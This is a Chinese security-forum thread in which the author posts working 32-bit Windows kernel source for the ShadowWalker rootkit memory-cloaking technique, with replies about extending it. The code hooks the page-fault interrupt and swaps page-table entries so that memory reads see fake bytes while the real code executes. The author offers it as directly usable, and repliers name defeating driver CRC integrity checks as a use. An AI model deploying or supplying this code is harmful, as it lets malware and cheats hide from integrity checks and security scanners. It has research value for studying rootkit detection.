首页
论坛
课程
招聘
[原创]ShadowWalker内存伪装详细过程,附完整测试源码
2014-3-1 11:28 19225

[原创]ShadowWalker内存伪装详细过程,附完整测试源码

2014-3-1 11:28
19225
ShadowWalker内存伪装详细过程

一。准备

提问http://bbs.pediy.com/showthread.php?t=183520

ShadowWalker原理,部分代码参照这里http://bbs.pediy.com/showthread.php?t=56689

内存分页机制http://bbs.pediy.com/showthread.php?t=135274
内存分页机制http://bbs.pediy.com/showthread.php?t=181016

二。目的

这是需要伪装的代码,需要用新的code_seg进行伪装
#pragma code_seg(".target") 
#pragma optimize( "", off )
VOID target()
{
	int sum=0x77;
	if(sum==0)
	{
		_asm _emit(0xc3)//返回指令Retn
	}
	_asm
	{
		mov eax,0x88
			mov sum,eax

	}
	DbgPrint("sum=%x g_iTimes=%d g_iTimes1=%d g_iTimes2=%d g_iTimes3=%d\n",sum,g_iTimes,g_iTimes1,g_iTimes2,g_iTimes3);
}
#pragma optimize( "", on ) 
#pragma code_seg() 


//每十秒调用执行target
VOID OnTimer(
	IN PDEVICE_OBJECT DeviceObject,
	IN PVOID Context)
{
	if(g_iTimes%10==9)
	{
		target();
	}
	g_iTimes++;

}


//可以读取target的内存
NTSTATUS HelloDDKDispatchRoutin(IN PDEVICE_OBJECT pDevObj,
	IN PIRP pIrp) 
{
	PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(pIrp);
	UCHAR type = stack->MajorFunction;
	IoCompleteRequest( pIrp, IO_NO_INCREMENT );
	
	if(type==IRP_MJ_READ)
	{
		BYTE buf[5]={0};
		memcpy(buf,(PBYTE)g_pExecutePage+0x14,5);
		DbgPrint("buf %x %x %x %x %x\n",buf[0],buf[1],buf[2],buf[3],buf[4]);
	}
	return STATUS_SUCCESS;
}



在没有内存伪装时是正常输出

我的目的是
让汇编执行时是mov eax,0x88 对应内存B8 88 00 00 00
但是HelloDDKDispatchRoutin查看时是mov eax,0x99999999 对应内存 B8 99 99 99 99


三。ShadowWalker
首先进行中断0X0EHook,并修改内存页为不存在
DWORD nSetThreadRVA=GetAPIAddr((PVOID)g_pNtKernelBaseAddr,"KeSetAffinityThread");
	g_pFunKeSetAffinityThread=(DWORD)g_pNtKernelBaseAddr+nSetThreadRVA;
	DbgPrint("GsDriverEntry NumberOfProcessors=%d pFunSetThread=0x%x \n",KeNumberProcessors,g_pFunKeSetAffinityThread);

	//Hook IDT
	int i=1;
	for(i=1;i<=KeNumberProcessors;i++)
	{
		((KeSetAffinityThread)((PVOID)g_pFunKeSetAffinityThread))( KeGetCurrentThread(), i);//绑定CPU
		HookTrap0E();
	}

	PBYTE pHookAddr=(PBYTE)target;
	if(MmIsAddressValid(pHookAddr))
	{
		PVOID pReadWriteView = AllocateViewOfPage( (PBYTE)pHookAddr);
		if(pReadWriteView)
		{
			HookMemoryPage(  (PBYTE)pHookAddr, pReadWriteView, (PBYTE)target+0x13); 
		}
		int i=1;
		for(i=1;i<=KeNumberProcessors;i++)
		{
			((KeSetAffinityThread)((PVOID)g_pFunKeSetAffinityThread))( KeGetCurrentThread(), i);//绑定CPU
			__asm invlpg g_pExecutePage
		}
	}


这里是生成读操作时,需要伪装的内存
PVOID AllocateViewOfPage( PVOID VirtualAddress)
{
	if(g_pMDL || g_pNewPage)
	{
		return NULL;
	}

	PVOID pPage = RoundDownToPageBoundary( VirtualAddress );
	DWORD offset=(DWORD)VirtualAddress-(DWORD)pPage+0x14;
	if( IsInLargePage( VirtualAddress ) )
	{
		PHYSICAL_ADDRESS HighestAddress = { HIGHEST_ADDRESS_IN_LARGE_PAGE_RANGE, 0 }; 
		g_pNewPage = ExAllocatePoolWithTag( PagedPool, 2*LARGE_PAGE_SIZE, 'SWHK');
		if( g_pNewPage != NULL)	
		{
			g_pNewPage = RoundUpToPageBoundary( g_pNewPage );
			RtlCopyMemory( g_pNewPage, pPage, LARGE_PAGE_SIZE ); //copy the contents of the page containing VirtualAddress to the new page
			RtlCopyMemory( (PVOID)((DWORD)g_pNewPage+offset), "\xB8\x99\x99\x99\x99", 5 );//把内存修改为\xB8\x99\x99\x99\x99
		}
		return g_pNewPage;
	}//end if
	else
	{
		g_pNewPage = ExAllocatePoolWithTag( PagedPool, PAGE_SIZE, 'SWHK');
		g_pMDL = IoAllocateMdl( g_pNewPage, PAGE_SIZE, FALSE, FALSE, NULL);
		MmProbeAndLockPages( g_pMDL, KernelMode, IoReadAccess);
		if( g_pNewPage != NULL)	
		{
			RtlCopyMemory( g_pNewPage, pPage, PAGE_SIZE ); //copy the contents of the page containing VirtualAddress to the new page
			RtlCopyMemory( (PVOID)((DWORD)g_pNewPage+offset), "\xB8\x99\x99\x99\x99", 5 ); //把内存修改为\xB8\x99\x99\x99\x99
		}
		return g_pNewPage;
	}//end else

}//end AllocateReadWriteViewOfPage


最主要部分,挂钩内存缺页处理函数
#pragma LOCKEDCODE
void __declspec (naked) my_interrupt_hook(void)
{
	//__asm      jmp old_ISR_pointer
	__asm                                                   
	{        
		pushad      
		mov eax,cr2
		push eax
		mov edx, dword ptr [esp+0x24] //PageFault.ErrorCode
		test edx, 1  //不是缺页错误
			jne PassDown


			mov eax,cr2     //faulting virtual address 
			////////////////////////////////////////
			//判断是否是Hook掉的page
			/////////////////////////////////////////
			mov ebx, g_pExecutePage
 			and  ebx, 0xFFFFF000
 			and  eax, 0xFFFFF000
			cmp eax, ebx
			mov eax, cr2  
			jnz PassDown  //不是,传下去

			///////////////////////////////////////         
			//下面处理Hook掉的页面了 
			/////////////////////////////////////           
			mov eax, cr2                                                                  
			push eax

			//*************************GetPteAddress***********************************************
			//push eax
			//call GetPteAddress
			//
			mov edx, eax
			cli			//disable interrupts
			mov esi, PROCESS_PAGE_DIR_BASE
			shr eax, 22
			lea eax, [esi + eax*4]  //pointer to page directory entry (PDE)
			test [eax], 0x80
			jnz Done	//it's a large page
			mov esi, PROCESS_PAGE_TABLE_BASE
			shr edx, 12
			lea eax, [esi + edx*4]  //pointer to page table entry (PTE)
			//NOTE: There is not a page table for large pages because the PTE's are contained in the page directory.
Done:
			sti		//reenable interrupts
			//*************************GetPteAddress***********************************************

			mov ebx, eax  //ebx = pPte
 			pop eax           
 			mov cr2,eax               
			cmp [esp+0x28], eax     //判断是执行出错还是读写时出错?
			je LoadITLB  


			//判断是否是Hook的那些字节        
			cmp eax, g_pExecutePage
			jb  LoadDTLB
			sub eax, g_pExecutePage
			//cmp eax, g_ulHookCodeLen		
			cmp eax, 50		
			jg  LoadDTLB
			jmp LoadFakeFrame
LoadITLB:
		////////////////////////////////                
		//是一次执行操作,所以Load ITLB
		///////////////////////////////                 
		cli                       
			or dword ptr [ebx], 0x01         //标志页面为存在
			call g_pfnCallIntoHookedPage //通过调用一下那个页面内的代码,装载ITLB
			and dword ptr [ebx], 0xFFFFFFFE  //重新标记为不存在
			push eax
			mov eax,g_iTimes1
			add eax,1
			mov g_iTimes1,eax
			pop eax
			
			//sti                                             
			jmp ReturnWithoutPassdown                       

			////////////////////////////////                
			// 这是读写造成的异常,并且不在我们要隐藏的代码范围内,Load DTLB
			///////////////////////////////                  
LoadDTLB: 
		cli    
			mov eax,cr2
			or dword ptr [ebx], 0x01           //mark the page present
			mov eax, dword ptr [eax]           //load the DTLB    
			and dword ptr [ebx], 0xFFFFFFFE  //重新标记为不存在
			push eax
			mov eax,g_iTimes2
			add eax,1
			mov g_iTimes2,eax
			pop eax


			//sti                                             
			jmp ReturnWithoutPassdown                       

			/////////////////////////////////               
			//需要隐藏这段代码,所以Load伪装的页面 
			/////////////////////////////////   

LoadFakeFrame:     
		mov eax, cr2
			mov esi, g_pReadWritePTE
			mov ecx, dword ptr [esi]            //ecx = PTE of the    
		//read / write page   
		//把页面替换为假的 
		mov edi, [ebx]                                  
		and edi, 0x00000FFF //preserve the lower 12 bits of the   
			//faulting page's PTE                 
			and ecx, 0xFFFFF000 //isolate the physical address in     
			//the "fake" page's PTE               
			or ecx, edi                                     
			mov edx, [ebx]     //save the old PTE so we can replace it
		cli       
			mov [ebx], ecx    //replace the faulting page's phys frame
			//address w/ the fake one 
			//load DTLB 
			or dword ptr [ebx], 0x01   //标志为存在
			mov eax, cr2               //faulting virtual address     
			mov eax, dword ptr[eax]    //访问一次页面的数据,Load DTLB
			and dword ptr [ebx], 0xFFFFFFFE  //重新标记为不存在
			push eax
			mov eax,g_iTimes3
			add eax,1
			mov g_iTimes3,eax
			pop eax

			//Finally, restore the original PTE 
			mov [ebx], edx                                  
			//sti                                             

ReturnWithoutPassDown: 
		sti         
		pop eax
		mov cr2,eax
		popad                                           
		add esp,4 
		iretd                                           

PassDown:     
		pop eax
		mov cr2,eax
		popad                                           
			jmp g_old_ISR_pointer

	}//end asm                          
}  


四。结果

内存已经伪装成功了

五。注意
1.测试只能用于intel CPU,虚拟机好像不行,我试过N次,都蓝屏,vmware好像不支持tlbs
2.只能用于R0的伪装,R3的好像不行,大神说的,我自己也试过

有没有办法让R3也能用ShadowWalker啊??求解
我自己试过在R3下,能短时间的伪装,很快就蓝屏了

六。完整测试代码
应该可以直接用的

第五届安全开发者峰会(SDC 2021)10月23日上海召开!限时2.5折门票(含自助午餐1份)

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (21)
雪    币: 2551
活跃值: 活跃值 (1011)
能力值: ( LV13,RANK:1760 )
在线值:
发帖
回帖
粉丝
安于此生 活跃值 34 2014-3-1 11:35
2
0
兼容是个问题啊,还是支持一下
雪    币: 114
活跃值: 活跃值 (163)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
topofall 活跃值 2014-3-1 12:05
3
0
抢了个沙发
雪    币: 114
活跃值: 活跃值 (64)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
qqlinhai 活跃值 2014-3-1 12:13
4
0
大蛇丸无处不在啊。。
雪    币: 241
活跃值: 活跃值 (17)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
exediy 活跃值 1 2014-3-1 12:21
5
0
我以为神马玩意!原来这个...
雪    币: 208
活跃值: 活跃值 (67)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
hungnguyen 活跃值 2014-3-1 15:31
6
0
Nice thanks for share!
雪    币: 253
活跃值: 活跃值 (49)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
AioliaSky 活跃值 1 2014-3-1 15:34
7
0
谢谢分享,lz辛苦了
雪    币: 69
活跃值: 活跃值 (13)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
ztj 活跃值 2014-3-2 20:12
8
0
是啊,hook中断容易不稳定
雪    币: 8670
活跃值: 活跃值 (807)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
cvcvxk 活跃值 10 2014-3-2 20:23
9
0
最关键的是只支持32平台,现在是64的世界了。
雪    币: 5
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
rqqeq 活跃值 2014-3-2 21:37
10
0
怎么玩vt……求解……
话说360是咋玩的……
不过pg倒不是大问题……如果静态破解的话
雪    币: 177
活跃值: 活跃值 (260)
能力值: (RANK:290 )
在线值:
发帖
回帖
粉丝
viphack 活跃值 4 2014-3-2 21:40
11
0
64位来了。。。。。。。。。。。。。
雪    币: 69
活跃值: 活跃值 (13)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
ztj 活跃值 2014-3-3 09:50
12
0
大神大神,
请问:如果我只需要在32位平台,能不能搞定Ring3的ShadowWalker啊???
我感觉是在切换进程的时候页表有问题的
雪    币: 694
活跃值: 活跃值 (990)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
小希希 活跃值 2014-3-3 10:09
13
0
ShadowWalker 刷tlb不要想了,我也尝试过,根本无法实用
雪    币: 694
活跃值: 活跃值 (990)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
小希希 活跃值 2014-3-3 10:12
14
0
楼主感兴趣可以去看看 影子页表
雪    币: 319
活跃值: 活跃值 (11)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
elapseyear 活跃值 2014-5-29 15:39
15
0
值得研究一下。
雪    币: 68
活跃值: 活跃值 (19)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lidagogo 活跃值 2014-5-29 15:44
16
0
可以用来过SYS的CRC
雪    币: 132
活跃值: 活跃值 (29)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
fatecaster 活跃值 1 2014-6-17 23:36
17
0
学习一下,lz还在吗,还没看你的代码,有2个问题
LoadDTLB: 这一段不太理解,如果要需要hook的是页面中间的几个字节,那先读了页面的前面的字节,数据tlb就有缓存了,那下次读到中间真正被修改的几个字节,不会发生缺页了吧,那还是读的被修改过的页面,不知道理解错了没,NetProc也是这段,有点不理解
第二个是为什么r3不行。amd可以吗,我只有amd的cpu。
雪    币: 460
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Akihyou 活跃值 2014-6-25 15:41
18
0
R3下是可以的,我试过,
会蓝只是你0e的hook处理还有问题,
不过我也想知道64位下这方法是否可行,有人研究过没?
雪    币: 1099
活跃值: 活跃值 (325)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
loqich 活跃值 2014-6-26 09:09
19
0
求r3方法。。。
雪    币: 217
活跃值: 活跃值 (33)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
heretic 活跃值 2014-9-28 14:18
20
0
从原理上来说x64也应该支持,不过PatchGuard会检查IDT。。。另外,我测试了下ring3,用的是修改ITLB,保留DTLB,发现如果先执行再读取,中间无任何间隔,可以读到修改后的值。如果先读取再执行,则读取值是原始值,执行的是修改后的值。如果先执行,然后Sleep(1),读取的也是原始值。。。难道执行会同时刷新ITLB和DTLB?
雪    币: 14
活跃值: 活跃值 (32)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
暮色丶 活跃值 2014-9-28 14:31
21
0
以前ring3搞过,不会蓝,可以过CRC神马的,但是大页面不知道怎么处理
雪    币: 23
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
dppdpp 活跃值 2014-9-30 03:33
22
0
这个东西的关键点在pte的copyonwrite属性,我也卡在ring3读取这块上,做不下去,在ring3实在想不到好办法
游客
登录 | 注册 方可回帖
返回